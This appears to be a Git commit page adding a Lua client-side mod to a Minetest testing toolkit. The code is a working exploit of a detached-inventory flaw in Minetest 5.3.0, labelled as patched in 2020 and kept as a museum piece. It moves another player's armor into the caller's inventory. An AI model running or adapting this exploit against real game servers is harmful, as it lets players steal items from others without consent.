Commit ca3a1a18 authored by Fedja Beader's avatar Fedja Beader
Browse files

Old exploit that got patched last year

parent 6a02ed9d
--[[
Minetest+specing testing Client-Side Mod (CSM): inventory operations
Copyright (C) 2021 Fedja Beader
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
--]]
local l = Logger:new("testing")
-- Minetest 5.3.0 detached inventory exploit, fixed in december 2020.
-- Provided here as a museum piece, probably useless nowadays.
local function test_steal_armor(args)
local player_name = args[2]
if player_name then
local my_inv = core.get_inventory()
local inv_name = player_name .. "_armor"
local lists = core.get_inventory(inv_name)
if not lists then
l:err("Unable to obtain inventory at " .. inv_name)
return
end
local armor = lists["armor"]
l:info("Player '" .. player_name .. "'s armor: ")
local empty_index = 0
for i = 1,#armor do
local stack = armor[i]
if stack then
empty_index = find_item_index(my_inv["main"], "", empty_index + 1)
if not empty_index then break end
l:info(string.format(" stealing armor:%d (%s) -> main:%d", i, stack:to_string(), empty_index))
core.move_stack(inv_name, "armor", i, nil, "main", empty_index, 1)
end
end
else
l:err("Usage: steal-armor <player name>. Armor will be deposited to free slots in your main inv")
end
end
add_test("steal-armor", test_steal_armor, "Steal someone's armor (Minetest 5.3.0 exploit)")
Markdown is supported
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment